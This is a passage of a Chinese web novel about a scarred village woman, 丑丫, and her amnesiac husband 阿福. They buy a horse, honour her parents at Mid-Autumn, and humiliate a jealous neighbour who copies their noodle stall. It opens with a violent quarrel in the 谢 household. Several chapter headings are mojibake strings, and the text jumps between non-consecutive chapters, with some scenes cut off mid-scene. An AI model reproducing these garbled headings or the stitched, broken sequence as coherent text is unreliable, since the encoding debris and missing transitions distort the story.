“你为什么要做这样的事?是我对你不好吗?你想要银子,想要买新衣服,想要买首饰,我哪样没满足你,你为什么还要这样做?” “现在得罪了张府,惹上了林家,你满意了?我的谢府完了,你高兴了?” 伤口裂开,鲜红的血液染红了赵心柔雪白的里衣,她此刻是真的慌了,她没想到谢志平会生这么大的气,也没想到后果会这么严重。 张家和林家也真是小气性,亏他们还是大家族,多大点事,就要这么对付谢家! 她知道的对付不过是听丫鬟来报的满大街传的风言风语,她觉得这就已经很过分了,这样传她、骂她,她以后还怎么出门?在她的那些贵妇姐妹们面前都抬不起头来了! 可是她不知道的是,除了这些,林家和张家还对谢家的生意动手了,张家拒绝了跟谢府的所有合作,林家给谢府的对家提供帮助,让他们打压谢家。 现在谢府的生意濒临破产,风光的谢员外府马上就要不复存在! 但是赵心柔还没意识到自己惹出来了多大个麻烦,正在绞尽脑汁地为自己开脱。 她哭得梨花带雨,再加上这病殃殃的虚弱面容,更加让人怜惜。 “老爷,妾身错了,妾身就是鬼迷心窍,一时糊涂,妾身看到婉婉就会想起姐姐,妾身吃醋,明明妾身和老爷是真心相爱,可是妾身却只能做一个被人唾弃的外室,一做就是十多年。” “妾身是被骂怕了,看到婉婉我就想起从前的生活,所以我才鬼迷心窍地动了心思,我就是想让老爷眼里只有我,只有渺渺和宏儿,我只是太爱老爷了!” 男人最喜欢听的话不过就是这些,一个女人会为了你昏了头,做出一些糊涂事,女人有什么错呢,她不过是太爱男人了。 谢志平从前就觉得让她做了十多年外室委屈了她,只要她这么说,他一定会消气。 但是这次,她错了! 谢志平的确宠她,爱她,心疼她为了他做了十多年外室,但是他更爱的、更关心的是他的权势、是他的地位、是他的金钱! 谢府繁荣,他的生意欣欣向荣,他才有心思去宠一个女人,现在他的家产被这个女人败光了,他如何还会对她有好脸色。 谢志平现在听赵心柔每说一句话就觉得恶心,他居然和这么个虚伪恶毒的女人同床共枕了十多年! 林婉婉说的没错,她就是个蛇蝎,他的报应来了,她是他的报应! 他此刻将所有怒火都倾注在赵心柔身上,全然忘了事情发展到这个地步,他也有一份责任,若不是他偏帮赵心柔,寒了林婉婉的心,何曾会是如今这种局面。 他被愤怒冲昏了头脑,抬手掐上赵心柔的脖子,眼神狠厉,像是要将她给掐死,而赵心柔,顾不得胸口的伤痛,双手去掰谢志平掐住她脖子的手。 谢志平一只手的力道终究没能抵过赵心柔的两只手,她尖利的指甲将他的手背挠出了一道道血口子。 逃脱钳制的她不停的大口吸气,一张脸都涨得通红,看向谢志平的眼神也有了恨意,他居然要杀自己! 曾经恩爱的夫妻俩就这样打起来了,一个醉酒,还断了一只手,一个胸口开了口子,都是伤残人士,谁也没从对方身上讨到好,打得头破血流。 绗?3绔?缁欏瀛愪拱鑺辫瀛愶紝濞樺瓙绌垮ソ鐪嬶紒 晚上 阿福和丑丫盘腿面对面坐在床上,中间放着一个木盒子,是丑丫的小金库。 里面有一小块一小块的碎银子,也有大半盒的铜板,哗啦啦一声将所有钱倒出来,两人又开始了数钱游戏。 铜板一个一个往盒子里丢,等铜钱积多了,就会发出清脆的哐啷声,丑丫爱极了这个声音,数着钱,眼底心里都是笑意。 等将钱数完,她就宝贝地抱起木盒子摇一摇,听听那扎实的声音,笑得更加的开心。 “阿福,我们一共有四十五两零六百七十二个铜板,我们是有钱人了!” 四十多两银子的有钱人,和那些地主老爷相比,这大概是最没钱的有钱人,但作为平头老百姓,这确实是一大笔巨款! 阿福看娘子笑,也跟着笑,憨憨地:“阿福会给娘子挣更多的钱,让娘子一直当有钱人!” 丑丫满足的点头,她不觉得阿福是为了哄她开心才说这样的话,相反,她知道,阿福说的每一句话都是真的,他会为了他说的话而努力。 “好,我和阿福一起努力,我们一起挣钱,一起过好日子!” 两人看着对方,都笑得很甜蜜,丑丫想起来下午林婉婉给她的木盒还没打开呢,忙将木盒给找了出来,和阿福脑袋凑在一起打开这个未知的惊喜。 木盒打开,里面的东西让丑丫瞪大了眼。 这是银票? 她长这么大,要不是遇上阿福,可能连十两一锭的银子都不曾摸过,更别说是银票了,只是在镇上见别人用过,大概知道长什么模样! 她将银票给拿了出来,只有一张,丑丫不识字,也没仔细见过银票,不知道这一张到底是多少面额的。 这一刻,她有些无奈,她知道林婉婉送他们银票是见他们生活条件不好,想帮他们。 也知道她将银票塞木盒里,还叮嘱她回到家才能打开,是怕她知道里面是银票会不收。 可她应该想不到,她送出的一张银票,到了她手里,她却连是多少面额的都不知道。 盯着银票,她的小脸皱成了一团,明天一大早林婉婉就和舅舅们出发了,她来不及去送她,这银票也还不回去了。 要是拿去钱庄换银子,老板看她什么都不懂,可能会宰她,这可如何是好? 正在她惆怅之际,一旁的阿福却拿过银票,开心道:“哇,娘子,五百两的银票,我们有好多好多钱了!” 丑丫的小身板直了起来,看着阿福:“阿福,你认得银票?” 阿福努力地想了想,什么都想不起来,但这银票他只看一眼就能认出,而且感觉很熟悉,应该是他从前经常用。 他摇摇头:“我也不知道,看到它,我就想来它是什么了。” 丑丫没再问,但对阿福的身世又有了猜测,他记不得从前的事,但是看到银票却轻而易举知道面额,可见他从前一定非富即贵。 她的心情有一瞬的低落,阿福的身份越高,他们之间的差距越大,等他哪天恢复了正常,离开她的可能性就越大。 只要想到阿福有可能离开她,她的心就像被针扎一样的难受。 但傻傻的阿福哪里知道她的这些顾虑,握着那张银票,笑呵呵地道:“明天去给娘子买新衣裳,红红的、花花的漂亮裙子,娘子穿好看!” 他见镇上的那些姑娘都是穿着颜色鲜亮,还绣了花朵的衣裙,而娘子穿的却是颜色暗淡的粗布衣裳,他也想娘子穿那样的花衣裳。 丑丫被他开心的话拉回神,那些忐忑暂且压在心底,也开心地笑起来:“好,我们买新衣裳,也给阿福买,阿福穿上新衣裳最好看了,还给阿福买好吃的。” “娘子也要买好吃的,你和阿福一起吃!” “嗯!” 丑丫重重地点头,看着阿福无忧无虑的样子可真好。 这一刻,她很感激林婉婉,她和阿福现在的日子已经比大多数人好了,不是那么迫切地需要钱,可是她送的这五百两,可以让她和阿福畅想一下未来,觉得日子更有奔头了。 丑丫已经想过很长一段时间要给家里买一头牛,用来拉车,让阿福不那么劳累,现在终于有了足够的银钱,她带着阿福去了镇上专卖牛马的牲口市场。 刚进市场,就有一股扑鼻而来的屎尿味儿,牛、马、驴子、骡子都有,丑丫是不懂这些牲口的,只能挑随眼缘,看着健壮的。 前方有不少人围着一头牛在打量,她好奇,也拉着阿福过去看,只见被众人围着的是一头母牛,个头比市场里的其他牛都要大一圈。 主人养得也好,毛皮油光水滑的,很健壮,但要价也高,正有倒卖贩子在和主人讲价,主人一口咬定要三十两银子。 他说这头牛刚配过种,肚子里大概率已经有了小牛,价格要高一些,这个价格说不定买到的就是两头牛。 倒卖贩子很心动,但就是价格太高,普通的牛也就十多两一头,这头牛品相再好二十两左右也能拿下,他不敢用十两去赌一头不知道有没有怀上的小牛。 丑丫看了一会儿,看着这头大牛也很心动,这是市场里长得最好的一头了,但就是价格太高了点,她舍不得银子。 她看得认真,想问一下阿福的意见,可回头,却发现站在她身后的人不见了! 顿时,她心漏跳了一拍,慌忙地冲出人群,环顾四周寻找阿福的身影,等在一个不起眼的位置发现阿福修长高大的身影时,她才长长地舒了一口气,然后快步跑到他身边。 到了阿福身边,她拉起阿福的大手,不轻不重地拍了他的手背一巴掌,埋怨道:“阿福,你怎么能乱跑呢,吓死我了,不是说过去哪儿之前,一定要提前告诉我的吗?” 她还想唠叨两句,阿福却转头看她,将食指抵在唇边,做一个噤声的动作:“嘘,娘子,不说话,看马。” 丑丫住了嘴,这才注意到阿福跟前的这匹瘦马,马的骨架子很大,但却瘦成了皮包骨,看着不是很精神,像一头病马。 绗?5绔?绁嫓鐖瑰 丑丫给小贩拿了二十八两银子,小贩到货行里去买了一辆最便宜的马车,帮忙将马车给套上,丑丫和阿福拥有了属于他们的第一辆马车。 丑丫不会赶马,但是阿福会,尽管他想不起以前的事,可一碰到马鞭和缰绳,他就能十分熟练地上手。 有了拉车的马,丑丫买了不少东西,给阿福和自己都各买了两匹布,还买了一大袋棉花,再过一两个月天就冷了,得提前把过冬的棉衣给做起来。 林家舅舅送他们的布料都是些贵重的布匹,他们两个村里人穿出去太打眼,只能压箱底放着。 丑丫的衣裳布料是阿福挑的,一匹桃红色的,一匹鹅黄色的,他说娘子穿这种颜色的好看,还要在上面绣上一些小花,这样娘子就像镇上的那些姑娘一样了。 丑丫其实想买颜色深一些的布料,耐脏,粉嫩嫩的衣料,她哪儿舍得穿出门去干活,但是布料是阿福给她挑的,她又怎么会拒绝。 除了布匹,还买了两床新棉被,一床厚的,冬天盖,一床薄的,天热的时候盖,家里的被褥虽然洗得很干净,但已经有些年头了,摸上去发硬,灰扑扑的。 买够了东西,丑丫和阿福回家,丑丫坐在马车里,阿福在前面赶车。 第一次坐马车,还是属于他们自己的马车,丑丫很兴奋,在车里这儿摸摸,那儿瞧瞧,还坐到入口处和阿福聊天。 阿福的眼光很好,这匹马虽然看着瘦得只剩下一个骨架子,但力气还挺大的,拉着车,走得一点都不吃力。 两人回到村里,马车引来了不少村民围观,村里很少见马车,能用得上马车的人家都是有钱的,出于羡慕好奇的心理,村里来了马车,他们都会凑近看一看。 但今日这马车不得了,赶车的居然是丑丫家的那个傻子! 难不成丑八怪和傻子暴富了?都能买得起马车了? 不可能!他们那么辛苦地种地都没能买得起马车,丑八怪一个连地都没一亩的丫头片子怎么可能会有钱! 嫉妒使人丑陋,他们远远地看着马车上那个酷似阿福的赶马人,心里祈祷着一定不要是丑八怪家的傻子。 但是事情就是朝着他们最不期望的那个方向发展,马车驶近了,那个赶马人不是阿福还能是谁! 他们脸色都沉了下来,死死盯着那辆马车,这么好的马车,怎么就不能是他们的呢? 有人还抱着最后的期待,心里的不甘让他问出口:“喂!傻子,这马车哪儿来的?不会是你们租的吧?” 他在心里不停地安慰自己,一定是租的,一定是租的,丑八怪那个连饭都吃不起的灾星和这个傻子,怎么可能买得起马车!怎么配拥有马车! 阿福听见那人叫傻子,他连眼神都不曾给他一个,他叫的是傻子,他又不是傻子,他才不要和他说话! 他扬起马鞭,没抽在马身上,手一扬,鞭尾扫在地上,震起一片灰尘,同时发出鞭炮爆炸一般的声响。 啪! 这一鞭如同挥在了众人的心上,都忍不住跟着一颤,不由自主地往后退了几步。 马车即将驶过之际,丑丫将脑袋从车帘里探了出来,嘴角噙着嘲讽的笑,她一言不发,可却看得围观的人比臭骂他们一顿还难受。 她不过一个丑八怪,一个灾星,凭什么可以用那种眼神看他们! 今晚,清河村的村民们睡不着了,嫉妒得夜不能寐,曾经过得比他们差百倍的人都用上马车了,而他们却还在为了填饱肚子而努力。 只要想到这儿,他们的心就像被一万只蚂蚁啃食一样难受! 而回到家的丑丫和阿福,却是心情极好的。 最开始的打算是要买牛,两人将牛圈都给搭好了,但现在牛没买成,倒是买了匹马,牛圈变成了马圈。 瘦高的大黑马关进牛圈里,阿福将前两天已经备好的草给它的槽里放了一捆,还给他拎了一桶水。 大黑马啃了几口草,再咕咚咕咚喝大半桶水,高兴地打了个响鼻。 阿福很喜欢马,回到家后就一直守在马圈边和大黑马联络感情,直到丑丫喊他吃饭了才舍得离开。 日子过得很快,眨眼便到了中秋,每年的中秋都是丑丫一个人过,过不过也没什么两样,但今年有阿福陪她,她高兴地准备弄得隆重一点。 在镇上的糕点铺子里买了月饼,还买了两坛桂花酒,她甚至奢侈地将自己养的一只公鸡给宰了,要给阿福做鸡肉吃。 丑丫准备到爹娘坟前去祭拜,虽然没有中秋去祭拜的习俗,但在她这里早就没有了规矩可言。 而且这是阿福来到她身边后,他们过的第一个节,她想让爹娘知道,她不再是一个人,她也有人陪了! 一大早的,她就在厨房里忙活,而阿福现在的活计也多了起来,除了挑水以外,他还负责遛大黑马,给它割草、喂食、洗澡。 今早,阿福就趁着挑水的功夫把大黑马也给牵出去了,让它到河边喝水,顺便吃几口河边的嫩草。 说起来,阿福对于养马还真是有一套,刚买回来时瘦成皮包骨的大黑马开始长肉了,毛发也亮堂了不少,看着比以前好看了。 但大黑马也有个缺点,就是吃得太多了! 一天草料不断,比牛还能吃,要不是阿福厉害,能供得上它的胃口,大黑马估计得被饿死。 她现在合理怀疑,大黑马在马贩子那里之所以这么瘦就是因为从来没吃饱过,饿的! 而阿福,牵着大黑马在村里溜达,引来一堆羡慕的目光,还有些不太懂事的小屁孩对大马好奇,远远地跟着阿福,结果被阿福一个凶巴巴的眼神吓得屁滚尿流逃跑。 丑丫将去祭拜的东西给准备好,阿福也带着大黑马回来了,大黑马显然是还没溜达够,关在马圈里不停地尥蹶子。 背篓里放了去祭拜的纸钱、香火和供品,丑丫将背篓背在身上,手里拿着把镰刀和小锄头,准备和阿福步行去爹娘的坟前。 但阿福却叫住她,他走到马圈里将大黑马给牵了出来,给它架上马鞍,要带丑丫一起骑马。 绗?7绔?鐮村湡鑰屽嚭鐨勭瑡 丑丫紧紧拽着阿福的衣裳,泪水都哭湿了他的衣襟,这或许是一个契机,让她将从前的委屈都给哭出来,从此以后,她就是一个全新的丑丫,迎来她全新的生活。 哭了好久,她的两只眼红彤彤的,像两只兔子眼,水润润的,看着很漂亮。 她的五官其实很好看的,两弯秀气的柳叶眉,大大圆圆的杏眼,小巧高挺的鼻梁,还有一张红艳的樱桃小嘴。 只可惜,老天爷笔误在她脸上画了一朵奇异的,不被世人所接受的花,喧宾夺主,让人注意不到她的美貌。 阿福垂眸看着他怀里脆弱可怜的丑丫,心里酸酸的,软软的,他不由自主地低头,用唇轻轻吻上丑丫水润的眼眸。 他能感觉到,丑丫闭上了眼,但那不安分的眼皮还在微微地跳动。 丑丫的心在这一刻似乎停止了跳动,她的身体也僵硬住,一动也不敢动,感受着眼皮上那抹温热柔软的触感,一股热浪逐渐在浑身蔓延。 她不敢动,不敢推开他,也不想推开,心停止片刻跳动后紧接而来的是狂蹦乱跳,她自己都可以清晰地听到她自己心跳的声音,白嫩的小耳朵也一瞬间被红晕给浸染。 阿福亲了左眼,又亲了右眼,直到他觉得满足了,才抬起头,那张俊脸上也泛起可疑的红晕。 丑丫睁眼,与阿福对视,两人都不说话,等身上那股羞涩的燥热褪去后,丑丫直起了身子,装作没事人。 “哎呀,都哭饿了,阿福你饿不饿,我们吃点东西?” 阿福呆呆愣愣的,还没反应过来,就见丑丫将供在坟前的两块月饼拿了起来,给他一块,她自己一块,张嘴便吃了起来。 阿福再傻,也知道供品是不能随便吃的,这是给逝去的亲人吃的,看着娘子递过来的月饼,他一时间不知道该不该吃。 丑丫已经将自己手里的月饼啃了两口了,见阿福不接,开口道:“吃吧,这月饼可要差不多三文钱一块呢,你以为放在这儿爹娘真的会来吃啊,到最后还不是便宜了这山里的蛇虫鼠蚁!” “我们心意尽到就行了,爹娘不会怪我们的,对吧,爹娘?” 她说着,对着两个小土包粲然一笑,虽然她很想爹娘,很爱他们,但她知道,人死了就是死了,即使她给他们供的是琼浆玉液、美味佳肴,他们也不会来吃。 随着她的话落,吹来一阵风,将周围的树叶吹得哗啦作响,像是有人在笑一般。 “你看吧,爹娘都同意了,我们快吃吧,把月饼吃了,再把这碗鸡肉也给吃了,然后我们一起去骑马,我还没骑够呢!” 傻憨憨的阿福被忽悠住,接过月饼也吃了起来,两人坐在坟前,将带来的供品都给解决了,要是被外人看到,不免又是一阵说道。 祭拜完了爹娘,填饱了肚子,两人也不着急回家,让大黑马在山上吃草,丑丫则带着阿福在山上转悠,捡些可以吃的东西。 丑丫对村附近的山都很熟悉,哪里有果树,哪里有野菜,哪里会长蘑菇,她一清二楚。 小时候挣不到钱,她就往山里钻,摘野果、挖野菜、掏鸟蛋,饱一顿,饿一顿,也将自己给养活了。 两人到了一棵野栗子树下,野栗子树很高,每年都会结不少的栗子,但因为是无主的,竞争很激烈,每年村里的人都要为了摘栗子闹出不少的矛盾。 丑丫自然是抢不过他们的,她就捡地上的,多多少少也能捡到几个。 今年也如此,树上的已经被摘得差不多了,丑丫就和阿福一人折了一根树枝,翻开地上的落叶,寻找掉在地上的栗子,还真找到了不少。 两人在山上逛到了下午,山坡上大黑马在吃草,丑丫和阿福就躺在草地上晒太阳,许久都没有这样休息过,丑丫只觉得浑身舒坦。 回家时,两人还是骑上了马,像来时一样,丑丫坐在前面,被阿福护在怀里,一路疾驰回家。 夜间 十五的月亮格外的圆,丑丫在院子里摆了张小桌子,上面摆了几块糕点,几个果子,两坛桂花酒,还有今天捡回来的野栗子,已经用盐水煮熟了,很好吃 丑丫没喝过酒,因为以前没钱买,今天终于尝到了酒味,很辣、很苦涩、还会呛喉咙,虽然有一股桂花味儿,但那味道说不上好。 她喝了一口就没再喝了,嫌弃的撇撇嘴,想到那些酒鬼,喝得倾家荡产也要喝,也不知道他们是怎么想的,有这钱还不如买两斤肉来得实在。 但让她意外的是,阿福居然挺喜欢喝的,两坛酒最后都进了他的肚子,除了脸颊有些红,也没见他喝醉。 吃了月饼,喝了桂花酒,中秋算是过完了,丑丫和阿福洗漱过后回了屋睡觉。 尽管已经洗漱过,阿福身上还是有一股淡淡的酒味,不难闻,相反还有点醉人。 一躺到床上,阿福就伸手将丑丫抱进了怀里,搂得紧紧的,丑丫从一开始的面红耳赤,到现在已经欣然接受了。 要是哪天阿福没有搂着她睡,她还会觉得不习惯。 大概是因为喝了酒,阿福本就高的体温变得更高了,热乎乎的抱着丑丫,就像一个大暖炉。 带着淡淡酒味的呼吸倾洒在丑丫的脖间,烫得她敏感的小耳朵通红,忍不住缩了缩脖子。 阿福闻着娘子身上传出来的淡淡的馨香,身体又控制不住的有了异样。 娘子明明都不擦脂抹粉,也不戴花,为什么会这么香呢? 香到他一闻就觉得体内有一阵说不出的躁动。 他的呼吸变得急促,喷洒出来的呼吸愈发的滚烫,丑丫背靠着他的胸膛,感觉到他逐渐升高的体温,也感觉到有什么东西如破土而出的笋,触碰到了她的大腿。 她自然知道那是什么,一时间不知该如何是好,只能慌乱的闭上眼睛装睡。 但阿福的粘人劲儿上来了,搂着她,用他的脑袋不停的蹭着她,声音嘶哑,如同低低的呢喃。 “娘子,我难受。” 绗?0绔?鍚屾潙浜烘ā浠垮仛鐢熸剰 这么想着,她肚子里的怒火渐渐消了,取而代之的是兴奋激动,她在脑海里不停地臆想着,等她去镇上摆了摊,抢了丑丫和傻子的生意,一天挣几百文。 不用几个月,他们家就可以盖新房,到时候也买一辆马车。 她一个月买一匹新料子,做一身新衣裳,让村里人羡慕死她,也让丑八怪后悔今天这么对她,跪在她跟前道歉! 既然丑丫和傻子都能靠摆摊发家,凭什么她不能,她家的日子之前可是比丑丫好了不止一星半点的! 人总是这样,能接受别人比他有钱,但不能接受曾经远远不如他的人变得比他有钱,一旦有这个认知,他就会嫉妒发酸,绞尽脑汁地想赶超他。 李秋萍在脑海里臆想着自己的摆摊大计,脚下的步伐都快了不少,恨不得能立马飞回家,和家人商量这件事。 三日后,丑丫和阿福清早像往常一样赶着马车去镇上,在半道上遇上了拉着板车同样去镇上的李秋萍夫妻。 李秋萍男人叫张铁牛,但没能像他名字一样长得高壮,是个五短身材,长得普普通通,属于没有任何特点,丢在人堆里完全认不出的那种。 他在前面拉车,李秋萍在后面推,张铁牛没有阿福的力气,阿福拉着满满一车的东西还能走得轻快,而这两口子,一拉一推,依旧走得艰难。 马车与他们的板车擦肩而过,丑丫看到他们板车上的锅碗瓢盆,立马明白了他们的主意。 这是看他们做生意挣钱,也想跟风来分一杯羹。 她并不将这件事放在心上,做生意不是她发明的,集市也不是她开的,别人想做生意就做,和她没有任何关系,她能做的就是打理好自己的小摊,认认真真做生意。 大黑马跑得很快,没一会儿就将李秋萍夫妻甩得远远的,看不见了身影。 李秋萍看着跑远的马车,眼神火热。 哼!狂什么狂,再等几个月,他们家也照样能买得起马车! 张铁牛拉车拉得一身汗,肩膀被勒得生疼,刚才又见丑丫和阿福风光地坐着马车从他身边走过,顿时觉得落了脸面,心里涌上一阵怒火。 “都是你这臭婆娘鼓捣着要做什么生意,大早上的觉都不能睡,老老实实种地有什么不好的!” 李秋萍被骂得来了气,但又只能憋着,家里的钱都捏在公公婆婆手里,她可是说了许久才说动男人去和公婆商量做生意这件事的。 她知道她男人的脾气,要是现在将他惹毛了,他肯定将车丢下就撂挑子不干了! 她强挤出一脸讨好的笑:“当家的不生气,你看丑丫和那傻子坐着马车威不威风?只要我们也去镇上摆摊,那样的马车我们家迟早也会有!” “你想想,到时候你赶着马车从村里过,那村里人不得羡慕死你,我前几天还看到傻子带丑丫骑马,那狂的哟,等咱家也有了马,你骑上,一定比傻子威风百倍!” 听着她的话,张铁牛忍不住想象那个画面,他骑着高头大马,从村里跑过,那不得迷死村里的大姑娘小媳妇儿? 到时候他就休了这个泼辣的黄脸婆,再娶一个大姑娘,最好能像那些地主老爷一样,纳几个小妾! 夫妻俩各怀心思,一个想着挣钱之后穿金戴银,让别人羡慕,一个却想着有钱以后就停妻再娶,坐享齐人之福。 丑丫和阿福去到镇上,摆好摊位,生意开张了许久,张铁牛和李秋萍才姗姗来迟。 镇上的街道那么大,他们却将摊位选在了丑丫和阿福的摊位对面,丑丫甚至还看到了李秋萍满脸得意地挑衅她。 她没将她放在眼里,忙活着自己的,邻居大娘也注意到了李秋萍,啐了一口。 “呸,这小娘皮还真来摆摊了,不过我看她那一脸刻薄相就知道不是做生意的料,连自己都收拾不利落,还想做吃食生意,呵!” 大娘的嘴依旧毒,但是却一针见血,做吃食生意,最讲究的就是干净卫生,李秋萍和她男人说不上多脏吧,但却给人一种邋遢感,这样的人卖吃食,给人的第一印象就不好。 丑丫和阿福的生意爆满,而对面的李秋萍夫妻还没开张就和两侧的摊主发生了矛盾。 人家两个摊主中间留了一个空位,位置不是很大,但李秋萍却非要往那里挤,还要两个摊主往两侧给她挪地方。 两个摊主都是老实人,吵不过泼妇一样的李秋萍,而且在街上吵吵闹闹的,把客人都给吓跑了,只能忍着怒火,将摊位往两边挪,离李秋萍夫妻远远的。 等摊位摆好,半晌都没等来一个客人,反观丑丫和阿福的摊位,客人进进出出,李秋萍急了,站在摊位前吆喝拉客。 还真有被她拉到的客人,先站在案板边看看锅里的东西,一锅煮沸的开水,里面放着几个葱结和几片姜在煮。 他们哪儿舍得去买猪大骨,就算比肉便宜,那也是要花钱的,底汤嘛,加点葱姜盐巴,能喝出味儿来就行了。 至于浇头,满满一大盆的炒咸菜,里面只见零星的几点肉沫。 咸菜家家会做,但味道却各有千秋,李秋萍家的咸菜,颜色发黑,一看就不好吃。 客人看几眼他们摊位上的东西,扭头便走了,这样的手艺还不如他们呢,在家自己扯一碗面,吃的是自家粮食,量管够,还不用花额外的钱。 李秋萍都准备好把面条下锅了,却见客人扭头走,忙追出来拦住人。 “哎!你这人怎么好端端的说走就走,我都准备煮面了,你这不是耍人吗?” 客人听她这么说,当即来了气:“我怎么耍人了?我有亲口说要在你这人吃面吗?你开门做生意,让人看看还不行了?有病!” 客人骂完甩袖就走了,转而去了对面丑丫和阿福的摊位,李秋萍更是气得嘴都歪了。 张铁牛见第一个客人被自家婆娘给得罪,开口便骂:“收收你那泼辣性子,出来做生意你还当在自己家呢?第一个客人就被你气走,我看见你就来气!” 绗?2绔?绉嬭悕濠跺瓙锛屾潵涓ょ闈1憲 清闲了的丑丫勾唇一笑,带着阿福去和对面的李秋萍问个好,那天她来她摊位上捣乱那事儿,她可还记着呢。 李秋萍见她走过来,眼珠子都快瞪出来了:“你来干嘛?我们这里不欢迎你!” 丑丫不理她,悠哉地看了一眼他们案板上的东西,轻轻啧了一声。 难怪卖不出去,这样的东西,就他们自家吃也不会觉得好吃吧! 她像李秋萍那天一样,一屁股坐在了座位上:“秋萍婶子,来两碗面呗。” 李秋萍觉得这一幕似曾相识,但她现在正在气头上,不去想丑丫到底要作什么妖,只想将她给赶走。 “走走走,看见你就晦气,想吃老娘的面,五文一碗,少一个铜板都不行!” 对于她这反应,丑丫一点都不觉得意外,但故作诧异道:“呀,婶子你怎么还收钱呢?我们乡里乡亲的,不过吃你一碗面,开口就要五文一碗,你怎么说得出口的?” 李秋萍所有的话都噎在了嗓子里,这话何止是熟悉,分明就是之前从她嘴里冒出来的! 她可算知道了,这小蹄子是来看她的热闹呢! “滚!老娘的白面可是真金白银买的,请你白吃,做梦呢?” 她现在骂得起劲,还觉得自己很有道理,一如那日她到丑丫那儿打秋风一样,也觉得自己占了理。 那日她想的是乡里乡亲的,请她吃一碗面怎么了,现在她又觉得她的东西凭什么白给人吃,就那油盐调料和白面,哪样不是她花钱买的? 所以,不管怎么说,道理都被她给占了,别人和她闹,那是别人不讲道理! 丑丫脸上还是挂着浅浅的笑,看得李秋萍愈发的恼火。 “婶子那日可不是这样说的,我可记着呢,你说要是哪天你摆了摊,乡邻来了都是不收钱的,怎么我来了婶子又是要收钱,又是要赶我走的?” 李秋萍气得胸膛不断起伏,胸口的那股郁气像是有一根刺戳在她的喉咙,拔不出来,也咽不下去。 那话确实是她说的,可她那是就是随口一说,怎么会想到这小贱人会抓住不放! 丑丫看她噎得说不出话的样子就觉得解气,于是拔高声音道:“婶子你这是不认账吗?附近的这些摊主那天可是听得清清楚楚的!” 展现人缘的时候到了,丑丫和阿福摆摊的这段时间,与附近的摊主相处都很友好,听她这么说,摊主们都连声附和。 “对!我们都听到了,你可不能赖账啊!” 张铁牛听懂了是怎么一回事儿,原来自家这臭婆娘背着他在街上胡咧咧! 他就是个爱面子但又没本事的软包怂蛋,不敢与人硬刚,只想息事宁人。 “你这臭婆娘!老子娶了你倒了八辈子的霉!” 他骂了李秋萍一句,然后又瞪了丑丫和阿福几眼,不情不愿地往汤锅里煮了两碗面,等面出锅,没好气的端到两人面前。 阿福看着那碗烂乎乎的面条上面盖着一坨发黑的咸菜,嫌弃地皱起了眉头,丑丫闻了一下那味道,也没什么胃口。 她牵着阿福站起身,又看着李秋萍和张铁牛勾唇一笑:“谢谢张叔和秋萍婶子了,但我和阿福没什么胃口,还是回我们自己的面摊上吃吧。” 李秋萍和张铁牛气得差点吐血,哪里还不懂,这小贱人就是来玩儿他们的! 丑丫和阿福悠哉悠哉地回了自己的面摊,周围的摊主们哈哈大笑,丑丫也俏皮地对着阿福吐了吐舌头,耍人的感觉还挺好的。 阿福很少见这样俏皮又可爱的娘子,那双好看又清澈的凤眸盯着她看了许久,丑丫都被他那灼灼的眼神盯得害羞了。 “看什么呢?” 她轻轻地嘟囔一声。 阿福诚实地回答:“娘子可爱。” 丑丫红着脸娇嗔地看了他一眼,这嘴怎么跟抹了蜜一样,她长成这样,哪里会可爱了。 对面的李秋萍泼妇骂街,丑丫和阿福充耳不闻,到街上买了一碗炒花生,一人一颗地吃着,张铁牛则将桌上两碗没动过的面条都吃进肚里,吃得脸都绿了。 其实也不怪客人挑剔,这面条的确不好吃,这咸菜,咸得他喝了一壶水才缓过劲儿来。 但他们的倒霉时刻还没结束,下午,巡街的官差来了,见他们是新来的,按规矩要收他们三十文一个月的管理费。 张铁牛看着两个高大魁梧的官差觉得害怕,但是想想要交三十文钱,又硬着头皮和官差商量。 “两位官爷,我们就今天来摆一天,以后不来了,您看,就这一天,能不能不收我们钱?” 今天卖不出去东西,倒贴钱已经很郁闷了,现在居然还要交三十文的管理费,这不是将他的心放在油锅上煎吗? 官差看他那一脸的套近乎样,冷哼一声:“别给我我们来这套,我们是按规矩办事,既然要在街上摆摊,就要交管理费,就算只摆一天或是半天,都要交!” “不然其他人学你们,今天来摆一天不交钱,隔几天再来摆一天也不交钱,那我们还怎么管理集市!” 张铁牛被官差的冷脸吓得闭了嘴,准备憋屈的掏钱,可李秋萍却咽不下这口气。 “我们才来了一天,怎么就要交三十文钱了,我们一天都还没挣三十文呢!” 官差见这妇人准备耍赖,立马抽出了腰间的刀,锋利的寒光一闪,李秋萍吓得脸色发白,也不敢再说话,只能交了钱。 三十文啊,他们家几个月都不一定能挣得到三十文,现在一下子就要交出去了,而且今天一天都没生意,妥妥的倒贴钱! 官差走远了,张铁牛无能狂怒,将所有怨气都撒在李秋萍身上,骂声一句接一句。 街道正是热闹,两口子却已经在收拾东西准备回家了,来时东西是什么样,回去还是什么样。 丑丫看着他们准备走,扯着嗓子吆喝了一句:“张叔、婶子怎么就走了,这天色还大早的,明天记得来啊,不然这三十文的管理费可就白交了!” 伴随着其他摊主的笑声,张铁牛两口子瞪了她一眼,然后低着头,一个拉车,一个推车,灰溜溜的离开了镇上。 绗?3绔?褰撳勾鐨勫皬涔︾瀵绘潵 第二天丑丫和阿福照常出摊,却没看见张铁牛夫妻俩,想来也是,摆摊一天,一分没挣,还倒贴那么多钱,以张家公婆的抠门样,怎么可能还让李秋萍出来瞎折腾,及时止损才是最好的。 没了那将摆摊氛围搞得乌烟瘴气的两口子,附近的摊主们都很高兴,又恢复了平时说说笑笑的样子。 面摊挣钱,再加上林婉婉送的五百两银票,丑丫和阿福不缺钱了,摆摊也不像一开始那么勤快,有时隔两天才去一次。 大黑马太能吃了,不空出时间来去割草,根本填不满它的肚子,不出摊的日子,丑丫和阿福就一起上山放马、割草,顺便再打理一下他们的小家。 两人一起努力,将小院给翻新了一遍,原来的篱笆围墙都拆了,用泥巴筑墙,把小院围得结结实实的,还给小院装了一道结实的木门,现在不用担心村民随意闯进家里偷他们东西了。 主屋还是茅草房,只不过把屋顶给翻新了一遍,把成年的旧茅草给换下来,放上新的茅草,小院越来越有家的样子,属于丑丫和阿福两个人的家。 时间一晃到了九月,天又凉了一截,丑丫已经在加快做棉衣的进度,这天,她和阿福没去摆摊,阿福将大黑马牵到河边喝水洗澡,而她则在家里做衣裳。 院门被敲响,在院中做衣服的丑丫闻声赶紧站了起来跑去开门,以为是阿福回来的。 她满脸笑意地开门,可在门开的一瞬间,脸上的笑意僵在脸上。 